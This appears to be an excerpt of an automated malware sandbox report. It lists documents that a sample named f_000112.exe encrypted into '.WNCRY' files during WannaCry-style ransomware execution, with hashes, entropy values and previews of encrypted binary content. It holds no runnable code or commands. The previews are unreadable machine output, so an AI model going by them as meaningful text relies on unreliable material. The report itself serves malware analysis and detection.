                                                                                                                                                                              SHA1:D972CBB5248FF0F0D6BDC48201EEC2F9B4A64A71
                                                                                                                                                                              SHA-256:EC5770D21552292C08030810A0BF513C4E4AB100199A7E9D6BA3F50C1B1024B4
                                                                                                                                                                              SHA-512:A53104A600AF5056919C69A5BC32790B96005C3C18A4A02BCA057FB80633514D48892123968455C9D09C846E069F213D021C2D762A36AB29125A4D626518A1E3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....6..t{.R.....~.....gP...e....h..v_....i..-^|Gb...^v.*<:O.....d8'.u..T!o.z..&h:r{y..}h..?...[....F...".+D5:F.G....`!..rz..4..6.F,cX.Y.K....!..{n!...h...Bc....&..d%.]....`..IH/H.0.w.WlM...>D.$....2......G....~...I.qP>.....d...CMH.a.r......1..`W...b^..<.............A.1..V._4.._........'.l........Q...s.....a..7.. .o.7L..l.%7....*....`h...y&m.to._....Q...^q<Of......p...Z..1.i..../..O.N.....U......@F.|.....2...W../}.w.._.....z.RH.?&%.^..Z..%....SC..p...c7.....#..'.L.5U.... NJ..cV)@a. ...XcI..T.....=.H..3G{.4.k...9.......U.f..B.#.K....(a.?u.,.....%E.9.........-U{.U.....Os.....v.^8.D..W......).6UG.o......._<.W...k.h.xmC.k...l.>.u...%.R.......+L..)..5;.[...st.s.D..G.q.%....;s..d.P=.5..f.k...p/..!V....X.S...a./.._.g..fr.%>.e.&J"B.7r....=#.....+...2f..K..t...S=|@.xs..,.U.bR.-NY8'V..V.+..`..9.T}...d..!..4r.Jzc.E0"R!...B.r.`.f*..wb..,i.j..1.j4Vjl|MA....%/JH.....8z..w]....KQa....i.+.....wz.W...S,.@D.7...>.......P...1.....hM..a..R...R......i....

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.792587652411013
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:VwpP+MpCTmwXCeUXLHPOeFjU4/QzaPE6dVdiblz70dcOo:eP+niwXCeUXLHzmzJ+ulocL
                                                                                                                                                                              MD5:BFD75407D72B1B9799EE083A419B4D40
                                                                                                                                                                              SHA1:7ED7AB7422AC74159F6947A275F1D0E65D13D0B8
                                                                                                                                                                              SHA-256:439AAA5C7D5D83A88136349A04AD51886EE01E951FBF50A4008C10C40CA68B72
                                                                                                                                                                              SHA-512:F77D2E28F58A9BE2F3871218E3836A7A6232030DD26FE1CAF7C2869EE83C694062DF5F6F7DD3596E2AF99488C978F5DCE0EE6EEDC31904A0BE8712DBEBF15F6B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...d...s.+....MC.#..b.u.tv.l....P...C...I....b-....s......P.....o_...v...R.*.&...@q)...ui.."q..7.....n../.f0....7.........L.T,....B'?.1...Ts...Z....#..\....v......|..Y..c.:..Q...{_'@..x....._P"Bd.n..+u.....6^...|...K..%...../....Zbw.......D.4x.}...c.{..5i..C.N..hj....Q..+...&1.{..q.....b?]...L^..W..2.<j..B...0..|D....;L..."....{...i.....Y.k..O..R).......x.../...q....G.M..G..kq................)..........j......n...q5.......k.Q...^....9.h..._.r, .(.....U..h....8A+Gn.".h'^...o&p..F/.{..o...3c....D.(D/..;Y.F.F........>......&...(.?gx..FC.Q...... 8.|hm,.!"....<..4.]...d.z....o8..2.f.|.d...Q..w.&n....C...[......?\....T.......5..y....p.q..6....E...Z?...3.k..}......T8..@6.<..m-..-.lAZ..a......r.KO...*..x.......N_=...v=..E..p....k............W.....I..!.G.B|.07.j..;..U.......m,.tZ,&..p....g...=|....v..SD..*.-D..R..Pm.....m...nn:s.P.>^...6lp...|.SL.I.,.... ..?k.Q4.~i,...V.5/v>P...F.|.r..9....;.[.]..i.&x......8{...o.....{..n..j.L.$K*..*..}Af...V

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857597315652768
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkYTtR0efR223NKZmGYf57xcQ3UGrKGdtKGFdp1oGmdelfJKTXODbvUjF0ZlxcEG:bkYRRVAZyZxc7GrliGFdboPUl/DbvsOe
                                                                                                                                                                              MD5:3C02953AF320A9BF7DBA9EBF3F4B96FC
                                                                                                                                                                              SHA1:19F1D4B93F7D3792295FBD2BDE6660B8F628E4A8
                                                                                                                                                                              SHA-256:BB3FD6EB1615EE4B7D395E1742DE808439C8405C9BAF20285819E863C921E737
                                                                                                                                                                              SHA-512:17958472EB169B7B57E9947B00C302051572C28D58665DA8D44D38B923E8E42A9204B259BE712B950D07442E9732A6A7744E6CDB6E7B27B64227467CAB58C8FA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......%@Tj-.gL.vM.v.:.....r..p.....H.1W.y.<..'...V0A...Cmlr....o9.f4....(o.fY..S.M{....H.nE.0...e..eJ!..n....#E.5.y3V...d..p1U..5.IW..+.h.p._2g]H..C..Z.........bK..H...Z..8r.s..$.....`.........T.V.CL...D...pt{Z..1"...J..bd....!8.5.*kTM...'.6{..............r...T.a......W.......n.{..K.......]/...|..^..E..k...|......@..|~x..E p.if~_b.w.#2...?...S P.......X..~...R.2.|6G.............C...9..F.....Y{@...O..o..g...4R#.l.J..05...S8Bia.......r..%6.-B.S.>B.Ap..H3.......ne..g.D...5.$$O.7......V8Rx.E..o.:....o.-5.`..Y.}...u..F_.2..P].XA%>J."..R.I"...XyU...i...N/....t.3..F@....T.F..~./.-.*.H0.C[n!z|QZH*H.P..B...F....c.6..r4f.x.<....=@..6.-m.d .8.C..Ot!..C*.\Ua.....0...........|>.Fs.Rr....[q@...x.........uU....V..'..|X..Jv.)..6.....L..WV.pCC....\..~T..3UC....?.;.i.s.L.El&0..x.d)..lx`.w..<.y1..y..5..e.,..G.k9..a..1..H....L#......fX(.'...L%.....2...7D..*...D.=...q...g..,.u.L...?rn......7........2i8.v..5..1p..%...*.+.+\.t....NF..M..

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857597315652768
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkYTtR0efR223NKZmGYf57xcQ3UGrKGdtKGFdp1oGmdelfJKTXODbvUjF0ZlxcEG:bkYRRVAZyZxc7GrliGFdboPUl/DbvsOe
                                                                                                                                                                              MD5:3C02953AF320A9BF7DBA9EBF3F4B96FC
                                                                                                                                                                              SHA1:19F1D4B93F7D3792295FBD2BDE6660B8F628E4A8
                                                                                                                                                                              SHA-256:BB3FD6EB1615EE4B7D395E1742DE808439C8405C9BAF20285819E863C921E737
                                                                                                                                                                              SHA-512:17958472EB169B7B57E9947B00C302051572C28D58665DA8D44D38B923E8E42A9204B259BE712B950D07442E9732A6A7744E6CDB6E7B27B64227467CAB58C8FA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......%@Tj-.gL.vM.v.:.....r..p.....H.1W.y.<..'...V0A...Cmlr....o9.f4....(o.fY..S.M{....H.nE.0...e..eJ!..n....#E.5.y3V...d..p1U..5.IW..+.h.p._2g]H..C..Z.........bK..H...Z..8r.s..$.....`.........T.V.CL...D...pt{Z..1"...J..bd....!8.5.*kTM...'.6{..............r...T.a......W.......n.{..K.......]/...|..^..E..k...|......@..|~x..E p.if~_b.w.#2...?...S P.......X..~...R.2.|6G.............C...9..F.....Y{@...O..o..g...4R#.l.J..05...S8Bia.......r..%6.-B.S.>B.Ap..H3.......ne..g.D...5.$$O.7......V8Rx.E..o.:....o.-5.`..Y.}...u..F_.2..P].XA%>J."..R.I"...XyU...i...N/....t.3..F@....T.F..~./.-.*.H0.C[n!z|QZH*H.P..B...F....c.6..r4f.x.<....=@..6.-m.d .8.C..Ot!..C*.\Ua.....0...........|>.Fs.Rr....[q@...x.........uU....V..'..|X..Jv.)..6.....L..WV.pCC....\..~T..3UC....?.;.i.s.L.El&0..x.d)..lx`.w..<.y1..y..5..e.,..G.k9..a..1..H....L#......fX(.'...L%.....2...7D..*...D.=...q...g..,.u.L...?rn......7........2i8.v..5..1p..%...*.+.+\.t....NF..M..

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.792445689411027
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:mfaS5+Tg4IEAYgpqE0F5A9t0JMULf7vuTZsiHLNtnHdBEHzcPUQ3C:yqTgLEd0qE03AT0vkrHdB5PUQS
                                                                                                                                                                              MD5:CBB934FDD0465A628C4BAE50B7B836A7
                                                                                                                                                                              SHA1:BD1FDE9F416D46E0FF56B61FEFD7940927C7640A
                                                                                                                                                                              SHA-256:A94B8F196BEAB79DDA4B1464AA5E5A5F0BE772D7148E055B788647EA6A85B14E
                                                                                                                                                                              SHA-512:205F070AEDBEDB21E748719CE15D1FE77F34E77EF9C726C3E79C5A6FC90029FFBF8CCD2E8DA74D2637946CF31519237B7F7DE6FC29697D2D28C7E25B9DAD5B21
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:$..'..wq..tG.u..6E{.....E..A....U.]...P..*..{.H.l.x.....?i .sks...9~..$.t.......6...e...@m.Z...}...Ne....V.O.Y...j.j...Z.......b.:....I.!y.L..R.$..Y.r..:Q7...(..t.k2{...%.{..a..h.7.p!...\..T....~.;L.n.....h......h.v*._.D......Q..(...J4.N..2...2Z[l.#..g.....z..b.Irj......'P......Lk.|v..a..A..~.H.............'J.6G]...2zn%.j../.}..D...|....i.0.-.|....*..^..kc.......\(HK=.^...igI.4O...43..Qc.q..Zi.......l..]...J|Z.Kzlhv.....F\.. ...c"*..}...e~..E..m.Km...N_t...W.C..2vD3.3..^.h3[....BJ.1~...b....q..F....V..N.....X....v...A..C.....Gk.f.?....Zxh.....7.d.....vH.m....[...|D%....@y4......G.Hydl:Q...V.6..Y..5E;..:..e..<#.i.:.K.3|..*..}.ZG...\...O>......:Q.`....#.K..P..?nY....z....xI.....I.:o".N..b...F}....);m...[A...+xg...#...[.3...C._.;...Eq<..~.%m._e....j...%.q...F*.....YPi.?.t\.h.U|m..#..`.:.a.Y..Y...cj../}_.;....?.a?G.8e.......W...vd.$..eTq.K.........<.u....T.<...6."..h.......j..C&.1wVDm..E.5.._m..Y.UaM.....DK...#...v..6.68..1.K...e..Z..U.Z.....

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844171742812684
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkYbOGNoJXrpm2yR8yY3vlWNdOZLDTpz98nhEbrYeIgiv4d9KZJo:bkzZJXrEl8F/GdOjOhEnqgiCma
                                                                                                                                                                              MD5:479DC13CDC32E3BAA843994F1EB06887
                                                                                                                                                                              SHA1:737E384EC59C35A5D5B4D5404327F763F10F8836
                                                                                                                                                                              SHA-256:9B5E3B39758737D06F9BA27934A7E54A6B25F8CEA3975A138BC4A06E51C0A895
                                                                                                                                                                              SHA-512:7B9740F10996103A6C5A74EBE9B1F70EDA903840A41ECD71E706450BC539575D66DC311AD4B679891098DC13C654CE15A5FDC471E05EF47A2194674BC74F4FE7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....WmY..V.*.%.a."y..@5.j\....Y.09.<..(:k.........\...lT...Dk.~.z<.~.....^...:....?...U....m.<.Y..AJ.B8Z.". 2.8L...qJ1...]...........,U+....9..`.....9.E~aux.>.]....y.....!...+K.f.w.x.g..5.x1..7..g.S......kT1.".w..G.y.p...c3L\.,......6l...p..."................;.S....7.d....!J....-...x.s_VlH....X.`.m.S.-k.(..Q.+_6..n..=.I....6<.D..........Da.3..ij.]..X...p.f.=h.B....u..d...;..e........c.Y.s.L.........i.........E#...6K.j.Gx....h.%...E...7.x..K$J...'...sG.w..=....hco..l....p.\zUe...:z.3x.}.V.I:W......G...-.ty%..@..w...N......l....r.e.g5.....qr@.>...i:z|v....D.TA..@..|K....*9...iE;}..W......t....sKbG...e......4Q...i...Z....I...v.=.....1..&b....c.q.E....`..%......:...;(.?......2Q.)$3.....m......S..&. .v.....!-....5...Mr.t._..,R. .q?...^....t..-;~.Dn...@L.....?.a.nr*.p.....#.p...........U.H.]1.. .s4..+...]G.../=..jb+.hDx........b\7.....`0.X3B.}.p..".!.d..2....=.7G.]......^......?....\........u...wEc3QV...lW."....W.Ft!l...i.

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844171742812684
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkYbOGNoJXrpm2yR8yY3vlWNdOZLDTpz98nhEbrYeIgiv4d9KZJo:bkzZJXrEl8F/GdOjOhEnqgiCma
                                                                                                                                                                              MD5:479DC13CDC32E3BAA843994F1EB06887
                                                                                                                                                                              SHA1:737E384EC59C35A5D5B4D5404327F763F10F8836
                                                                                                                                                                              SHA-256:9B5E3B39758737D06F9BA27934A7E54A6B25F8CEA3975A138BC4A06E51C0A895
                                                                                                                                                                              SHA-512:7B9740F10996103A6C5A74EBE9B1F70EDA903840A41ECD71E706450BC539575D66DC311AD4B679891098DC13C654CE15A5FDC471E05EF47A2194674BC74F4FE7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....WmY..V.*.%.a."y..@5.j\....Y.09.<..(:k.........\...lT...Dk.~.z<.~.....^...:....?...U....m.<.Y..AJ.B8Z.". 2.8L...qJ1...]...........,U+....9..`.....9.E~aux.>.]....y.....!...+K.f.w.x.g..5.x1..7..g.S......kT1.".w..G.y.p...c3L\.,......6l...p..."................;.S....7.d....!J....-...x.s_VlH....X.`.m.S.-k.(..Q.+_6..n..=.I....6<.D..........Da.3..ij.]..X...p.f.=h.B....u..d...;..e........c.Y.s.L.........i.........E#...6K.j.Gx....h.%...E...7.x..K$J...'...sG.w..=....hco..l....p.\zUe...:z.3x.}.V.I:W......G...-.ty%..@..w...N......l....r.e.g5.....qr@.>...i:z|v....D.TA..@..|K....*9...iE;}..W......t....sKbG...e......4Q...i...Z....I...v.=.....1..&b....c.q.E....`..%......:...;(.?......2Q.)$3.....m......S..&. .v.....!-....5...Mr.t._..,R. .q?...^....t..-;~.Dn...@L.....?.a.nr*.p.....#.p...........U.H.]1.. .s4..+...]G.../=..jb+.hDx........b\7.....`0.X3B.}.p..".!.d..2....=.7G.]......^......?....\........u...wEc3QV...lW."....W.Ft!l...i.

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.82806717229314
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:4mSx+q1t0hl+deQqigabt1grp60D+8msymYut7lFppeShzj4u:7Sx+q12Nu5C/msym/FPzj4u
                                                                                                                                                                              MD5:243A89023B28E5DF1248195E8B742C99
                                                                                                                                                                              SHA1:068563FEB46104DFAF309DBC65A246AE787B59A1
                                                                                                                                                                              SHA-256:425760D8777454E6959107253EF946C4663862E5A880DFE53A665D266778EBFA
                                                                                                                                                                              SHA-512:9C6F60F5EB2DB361DBBA7F886641A87C8C44AB7996A189EDA0818A79B585004F4AF706A24A3B2BDDF3619FD25D91B723DFBF7355EAD7915F6D5431BD655BFE97
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:,R^Y......#.t.."..1.y.H..Y..M.|....>@GUUuXN..I.h.......r.~...A(....#.e.c...$>|.\.6Ir..,..].F.D.3.2.bXg.F.)....?....PO...8o.x`l.xwdh.WKo.(\.VM..........C'^..n.B.x9........3.].0F.O.....g..].|ES0.&.0.M..W...`VKtVE..!u8..S.O...v.%.c.B.Ox.."zg.s.5\.5.zU....2.G2.5.V6.]..../..<.?n).....a7..].H...>Hy$.L@f...u..f......0.6.K$L...7...T-.a.r.!..T..6.iZ...z.i# 5....d.....1k.;c:_....w..*.G.|r.`P.. Bf....KY.....l.-....l.Z...m....!.......C].k...]..U.a.\.^Y...7#......-D...)......k8.H....9...m^_...F..EZN.YPK._..K..h....j.....fb.7Js..z....14.-g..q.~.Eq..W....G..G..N.H....#.......+.J.*t..0nL........TWM.5../n.G*.G....D.5.Y.P.(..B[,._`.~..).~...3.c\i9Nj*.?.....f...k.F.J'+..P....xM.O..q..&l...U_.#%f3eg.x.|....m|80.Ym.......BN... <..e'ZE.bs..E..x.....S..N........f......A....5R.@...Ri.-.M... ..o....k.Lm..|......}.s^?....-E,-:.pK.3.8.&e0.tLaw..j..W^.s..\Jf+p...'h.7?E.@J.gD...2....ef......f6.&.O...j,.'..`...^r?-.wv.....2<zo.R..@].n....A!..5....0.......X.A+........[.

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.876014515003082
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkKaieMjR4hy5HjlKhhT35be7rTx9xPjaKoTigEoNdAfIk/U49OtkRq7:bksPR4hyDKhhT35beT55gE46fIaJOeRQ
                                                                                                                                                                              MD5:1FE7AFEB8563DD1057398342C8BE0A3C
                                                                                                                                                                              SHA1:F3B81F0ED5C0E077DC661539E05C247708C3A250
                                                                                                                                                                              SHA-256:1EC97C9F50BC96E8BCBBB03A2C82CD592E24CAC404ABF487E31D05B40A45C361
                                                                                                                                                                              SHA-512:10727B983D6151EB87AF3377779FBFFD8BB0AD118B1C769F12F99071576B9C490EEDE71F2BE4242AC9C072DA6F461FD60ECE52D02D27760315BB594B5AF18675
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......c.........[.+......}N..f5k..G.W.~h...`F....S."...D.n.....\~[.g.Ph8Q8vE)C${......E..9_......#..gR..|U.X.r9)...mX5.W.\=(.S.D<y;...d..?..r..R.cA....SW.........E.........~(2`E...xwWz...>3.t.......<..f.,...........W.kr.....X7CA.wl.&*....FMH.VS.......................v..<o.....Qjz.4.q.......I...l2Q.P....?c.j.c....n...".|....{.3Tb....al.H....I...b..V....&....IF7.....FO....,.......>.;!..y.!....D..<PV.K.7!%?.@...~.@......+....1....(........t.C..oY..%.....v....u...h.....A.. ]7w..........(D..t.,....1o5W.(;..6.$..B.....W.w....*w..L.la.)9.,..;S.M.,.|I....=....C..p..}e..^.|...-.b[.....%...=d..'......d._..,..y>:.D..A.0.p..L.6.[v{".\yH.aU.n....?...u!.....)A...K....b.Y.IvT.|....U).1......U..\i......6...@.5..h......N.u...'.18$......}U....E0....Nt...L...[.A....;.%..y..>........FB.Et....)...j.Q.8..KP.x..C...z.s0...~jVD..H......C...at.T..b../...&Qdl5X6.@Fu.d..P.c.:.|"q;JJ..>...:yI..}3.l.l..j....y.._._D.].....w...N......n...=.h..E.nuyL9.|.

                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.876014515003082
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkKaieMjR4hy5HjlKhhT35be7rTx9xPjaKoTigEoNdAfIk/U49OtkRq7:bksPR4hyDKhhT35beT55gE46fIaJOeRQ
                                                                                                                                                                              MD5:1FE7AFEB8563DD1057398342C8BE0A3C
                                                                                                                                                                              SHA1:F3B81F0ED5C0E077DC661539E05C247708C3A250
                                                                                                                                                                              SHA-256:1EC97C9F50BC96E8BCBBB03A2C82CD592E24CAC404ABF487E31D05B40A45C361
                                                                                                                                                                              SHA-512:10727B983D6151EB87AF3377779FBFFD8BB0AD118B1C769F12F99071576B9C490EEDE71F2BE4242AC9C072DA6F461FD60ECE52D02D27760315BB594B5AF18675
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......c.........[.+......}N..f5k..G.W.~h...`F....S."...D.n.....\~[.g.Ph8Q8vE)C${......E..9_......#..gR..|U.X.r9)...mX5.W.\=(.S.D<y;...d..?..r..R.cA....SW.........E.........~(2`E...xwWz...>3.t.......<..f.,...........W.kr.....X7CA.wl.&*....FMH.VS.......................v..<o.....Qjz.4.q.......I...l2Q.P....?c.j.c....n...".|....{.3Tb....al.H....I...b..V....&....IF7.....FO....,.......>.;!..y.!....D..<PV.K.7!%?.@...~.@......+....1....(........t.C..oY..%.....v....u...h.....A.. ]7w..........(D..t.,....1o5W.(;..6.$..B.....W.w....*w..L.la.)9.,..;S.M.,.|I....=....C..p..}e..^.|...-.b[.....%...=d..'......d._..,..y>:.D..A.0.p..L.6.[v{".\yH.aU.n....?...u!.....)A...K....b.Y.IvT.|....U).1......U..\i......6...@.5..h......N.u...'.18$......}U....E0....Nt...L...[.A....;.%..y..>........FB.Et....)...j.Q.8..KP.x..C...z.s0...~jVD..H......C...at.T..b../...&Qdl5X6.@Fu.d..P.c.:.|"q;JJ..>...:yI..}3.l.l..j....y.._._D.].....w...N......n...=.h..E.nuyL9.|.

                                                                                                                                                                              C:\Users\user\Documents\EWZCVGNOWT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.82215999348924
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:6roHjNRSayGutkn8JEp0f75MvZVyU92sOdiC:ioxRSakyn8JnehVNUVdP
                                                                                                                                                                              MD5:580D2E818136C5B144EB56DE3C0D594F
                                                                                                                                                                              SHA1:4332BEA4F90A0E73DEDAF80C2418AB7555CD36FD
                                                                                                                                                                              SHA-256:A4CC4EEAC02BB62AC1B5AB6A78678ABF28DA4ABE7EE7123E26FB91299D9D91FF
                                                                                                                                                                              SHA-512:09A8F95BC631D3FC0DCAA94645BC73E0743144409B766B18E326E198FB164AD64C0973953FC1AF6C8302EB8B8DB440C47639C6E6924B8765F807E8AAACDD1193
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:E]..;........Y.a...z<.....jK.^.G.:].e.p..}..j.{...B.....&M..Q.2...9+.8...*W.@..?..y..1..Zi..$./j..)...i...#...L.....6...u.o...T.]N..3B...k.;..qO..m....@FI...B...:..........t..Q.dw.(|..%..$/D.4.x..a....9-.b".~qq...;..........9kP.r?.<./....v.U..3.0...........^;K....P.Jy.2G.ar.Wd8......sg.P ?K...i...v..k...$.......w..S.*..!}..K.g....Y.M..b..J4........D..Cj]....iCq.(;.Y..e........y...;.........:.Z.7.S.....j.S]y.w^a..'.`.Q2...36n.2..V.Y.....l.H..6...]3x.{.`PUl....gvB9cT..B2:..U,15..+..<@#.Lo..D..q<.N{...'..]1g)..iG..!$fTbh.b..guS..v.x....IF$3..^.^`...%a......Ts9XU. yIi.+........y...B0......5.f.%...:R.%.d.|..;@..U.1...4.a.N284......I.....e......g......z.( ...j'.>g.Y.3bAVe.C.2....*...O...D..."..Q.>z[0....[19j...xC. 0.w6....Dy.i..$...-D...->k+....L:.......6h...g...z......A..`..o......B....s...F....ES.z......~..A..T.\.0M.....}..'\M..OW$jm....;./.9........X.]4#L.-.}..*.m......R..iW...KOu"...Er6..B.y...,..:.o.......w.....2.5..$.t.J.`F..)....t.'..

                                                                                                                                                                              C:\Users\user\Documents\EWZCVGNOWT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.842761924840732
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkN++zsc6B5Z+lhqldWTokUplw0GUxbzJdzOiWEP24XNZIZXFMB:bkN++QNTZUEdWTokWGUxHJdztWF49mZ4
                                                                                                                                                                              MD5:E58CD9C55AC64116A4A445B91F690D61
                                                                                                                                                                              SHA1:3F22C4833EDBAB52865F07BDF389DB06BEC36D04
                                                                                                                                                                              SHA-256:4826FA7BAAE08CFC8FC65FD0AF583A92C9D63222BA50089022A6C38DCF80D332
                                                                                                                                                                              SHA-512:441E0A5C6147EA6F5C1DDC9A58FE3CC96D5ED17AD06FD81AB9F1637C515E54B34E29E9A2A8182FFA1813543E9AA805FBF90AD1D8E180266BE0E1445E0F70CECF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%}..<.O...f9z#j..u9......t...c%.Jz.k..}..@.....J^j...m.d)..Nf..V.D..P....h..o%ql.>]-...Z..6...NJ +.F....J .}2.4m..<.B".Pf..0!....-H|.....'.Z..^(.t.t...j7...j....\.y.J.7.G....m..).-`.x... .Z-....D....;..."-.$...C..Esx..oA.y4......JP'.....l.*.lx.............O..?..7.bhQd......KfA..y._B.].H...I-\.....u...>i.w....^....{.Ho...b{..t.....-@.a.W...8.tl...;l.*%.....C....p#.1...6.O...6_.{.........c-.S..!./lO}..%W:.s:m.|S..f2.c2:.(.a..Z....e5i.........w....W.P....gr..$y..{..+..9.R.....T.\...wb,.u.3V..w.Z..I..z....DO...uf...U....T.&~n.....lk.F:.r..h.#U...rw^$..!%4bx.J.w#.......ZzW....lb[./M..7...................HRl...I.o..........).9.%..7~b.(.9.z._p|..]f..=....:..T.IN.E>.f...R-O.Q...>..V....&....R..u.+,S......t.G,4..x.U.......tV+W...+e.8!E3.T.I..7....E.1...U....n..h.........>...;..K..oP8.b`.]..%..T.]...7c..R.@P.R...;....._]T9...)..j.D.e.;w.+.g..BPzH.6Q.Rk.|.'.....)uT.E.....uxF.U97.A.].\ncWI.....\.F~....]..4...fa9....=.1....I._.u.6'.>...o_.Z.

                                                                                                                                                                              C:\Users\user\Documents\EWZCVGNOWT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.842761924840732
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkN++zsc6B5Z+lhqldWTokUplw0GUxbzJdzOiWEP24XNZIZXFMB:bkN++QNTZUEdWTokWGUxHJdztWF49mZ4
                                                                                                                                                                              MD5:E58CD9C55AC64116A4A445B91F690D61
                                                                                                                                                                              SHA1:3F22C4833EDBAB52865F07BDF389DB06BEC36D04
                                                                                                                                                                              SHA-256:4826FA7BAAE08CFC8FC65FD0AF583A92C9D63222BA50089022A6C38DCF80D332
                                                                                                                                                                              SHA-512:441E0A5C6147EA6F5C1DDC9A58FE3CC96D5ED17AD06FD81AB9F1637C515E54B34E29E9A2A8182FFA1813543E9AA805FBF90AD1D8E180266BE0E1445E0F70CECF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
